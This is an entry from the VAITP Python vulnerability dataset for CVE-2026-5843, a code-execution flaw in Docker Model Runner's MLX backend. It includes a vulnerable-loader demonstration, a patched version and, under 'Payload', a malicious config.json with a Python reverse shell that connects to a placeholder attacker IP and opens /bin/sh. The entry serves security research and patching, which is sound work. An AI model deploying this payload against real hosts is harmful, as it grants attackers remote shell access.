CVE-2026-5843
Docker Model Runner MLX backend allows RCE via malicious model configs.
- CVSS 8.8
- CWE-829
- Input Validation and Sanitization
- Remote
The MLX inference backend in Docker Model Runner on macOS uses the MLX-LM library, which unconditionally imports and executes arbitrary Python files from model directories via the model_file configuration field in config.json. When a model's config.json specifies a model_file pointing to a Python file, MLX-LM uses importlib to load and execute it with no trust_remote_code gate or equivalent safety check. The MLX backend runs without sandboxing, resulting in arbitrary code execution on the Docker host as the Docker Desktop user. Any container on the Docker network can trigger this by calling the model-runner.docker.internal API to pull a malicious model from an attacker-controlled OCI registry and request inference.
- CWE
- CWE-829
- CVSS base score
- 8.8
- Published
- 2026-05-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Remote File Inclusion (RFI)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- MLX-LM libra
- Fixed by upgrading
- Yes
Solution
Upgrade Docker Model Runner to version 0.2.0 or later.
Vulnerable code sample
import os
import json
import sys
import importlib.util
# This function simulates the vulnerable model loading mechanism.
# It reads a config.json, finds a 'model_file' field, and if it points
# to a Python file, it executes it without any safety checks.
def vulnerable_model_loader(model_path: str):
config_path = os.path.join(model_path, "config.json")
with open(config_path, "r") as f:
config = json.load(f)
# The vulnerability lies in unconditionally trusting the 'model_file' field.
model_file_name = config.get("model_file")
if model_file_name and model_file_name.endswith(".py"):
module_path = os.path.join(model_path, model_file_name)
module_name = model_file_name.split(".")[0]
print(f"[+] Found Python file in config: {module_path}")
print(f"[!] Executing '{module_path}' due to missing trust check...")
# Core of the vulnerability: import and execute the specified file.
spec = importlib.util.spec_from_file_location(module_name, module_path)
if spec and spec.loader:
malicious_module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = malicious_module
spec.loader.exec_module(malicious_module)
else:
print(f"[-] Failed to create module spec for {module_path}")
# --- Demonstration Setup ---
if __name__ == "__main__":
MALICIOUS_MODEL_DIR = "malicious_model_dir"
PAYLOAD_FILE = "malicious_code.py"
PROOF_OF_EXECUTION_FILE = "pwned.txt"
# 1. Create a fake "malicious model" directory.
os.makedirs(MALICIOUS_MODEL_DIR, exist_ok=True)
# 2. Create the malicious config.json pointing to a Python file.
config_content = {"model_file": PAYLOAD_FILE}
with open(os.path.join(MALICIOUS_MODEL_DIR, "config.json"), "w") as f:
json.dump(config_content, f)
# 3. Create the Python file payload.
payload_content = f"""
import os
print("-------------------------------------------------")
print("!!! PWNED: ARBITRARY CODE EXECUTION SUCCESSFUL !!!")
print("!!! This code is running on the host machine. !!!")
with open('{PROOF_OF_EXECUTION_FILE}', 'w') as f:
f.write('This file was created by the exploited process.')
print("!!! Created proof file: {PROOF_OF_EXECUTION_FILE} !!!")
print("-------------------------------------------------")
"""
with open(os.path.join(MALICIOUS_MODEL_DIR, PAYLOAD_FILE), "w") as f:
f.write(payload_content)
print(f"[*] Simulating model runner loading from './{MALICIOUS_MODEL_DIR}/'")
# 4. Trigger the vulnerability.
try:
vulnerable_model_loader(MALICIOUS_MODEL_DIR)
except Exception as e:
print(f"[!] An error occurred: {e}")
# 5. Verify the exploit and clean up.
if os.path.exists(PROOF_OF_EXECUTION_FILE):
print(f"\n[+] Verification successful: '{PROOF_OF_EXECUTION_FILE}' found.")
os.remove(PROOF_OF_EXECUTION_FILE)
else:
print(f"\n[-] Verification failed: '{PROOF_OF_EXECUTION_FILE}' not found.")
os.remove(os.path.join(MALICIOUS_MODEL_DIR, "config.json"))
os.remove(os.path.join(MALICIOUS_MODEL_DIR, PAYLOAD_FILE))
os.rmdir(MALICIOUS_MODEL_DIR)
print("[*] Cleanup complete.")Patched code sample
import json
import importlib.util
from pathlib import Path
def load_model_with_fix(model_path: str, trust_remote_code: bool = False):
"""
Represents the fixed model loading logic.
This function simulates loading a model configuration. It includes the
safety check that was added to fix the arbitrary code execution
vulnerability.
"""
model_path = Path(model_path)
config_path = model_path / "config.json"
if not config_path.exists():
raise FileNotFoundError(f"Configuration file not found at {config_path}")
with open(config_path, "r") as f:
config = json.load(f)
# Check for a key that specifies a Python file to be executed.
if "model_file" in config:
# THE FIX: Check an explicit trust flag before executing any code.
# By default, trust_remote_code is False, preventing execution.
if not trust_remote_code:
raise ValueError(
"The model configuration requests to execute a Python file "
f"('{config['model_file']}'), but `trust_remote_code` is not set to True. "
"Refusing to execute untrusted code."
)
# This part is only reached if the user explicitly opts in.
print(f"Executing model file '{config['model_file']}' with user's explicit consent.")
model_file_path = model_path / config["model_file"]
if not model_file_path.exists() or not model_file_path.name.endswith(".py"):
raise FileNotFoundError(f"Invalid or missing model file: {model_file_path}")
# The dangerous operation, now guarded by the 'trust_remote_code' flag.
spec = importlib.util.spec_from_file_location("model_code", model_file_path)
if spec and spec.loader:
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
print("Code execution complete.")
else:
raise ImportError("Could not load the model file as a Python module.")
else:
print("Configuration does not contain a 'model_file'. No code execution needed.")
# Example Usage to demonstrate the fix:
# 1. Create a dummy malicious model directory
Path("malicious_model").mkdir(exist_ok=True)
# 2. Create the malicious config.json
with open("malicious_model/config.json", "w") as f:
f.write('{"model_file": "malicious_code.py"}')
# 3. Create the malicious Python file
with open("malicious_model/malicious_code.py", "w") as f:
f.write('import os; print("!!! PWNED by arbitrary code execution !!!"); os.system("echo PWNED")')
# --- DEMONSTRATION OF THE FIX ---
print("--- Attempting to load model without trusting remote code (SAFE - DEFAULT) ---")
try:
# This call will fail because trust_remote_code is False by default.
load_model_with_fix("malicious_model")
except ValueError as e:
print(f"SUCCESSFULLY BLOCKED: {e}\n")
print("--- Attempting to load model while explicitly trusting remote code (UNSAFE) ---")
try:
# This call will succeed because the user explicitly allows it.
load_model_with_fix("malicious_model", trust_remote_code=True)
except Exception as e:
print(f"Error during execution: {e}")Payload
{
"model_type": "mlx_lm",
"model_file": "payload.py"
}
```
```python
import socket, subprocess, os
# Replace with the attacker's listening IP and port
ATTACKER_IP = "10.0.0.1"
ATTACKER_PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_IP, ATTACKER_PORT))
os.dup2(s.fileno(), 0) # STDIN
os.dup2(s.fileno(), 1) # STDOUT
os.dup2(s.fileno(), 2) # STDERR
p = subprocess.run(["/bin/sh", "-i"])
Cite this entry
@misc{vaitp:cve20265843,
title = {{Docker Model Runner MLX backend allows RCE via malicious model configs.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-5843},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-5843/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
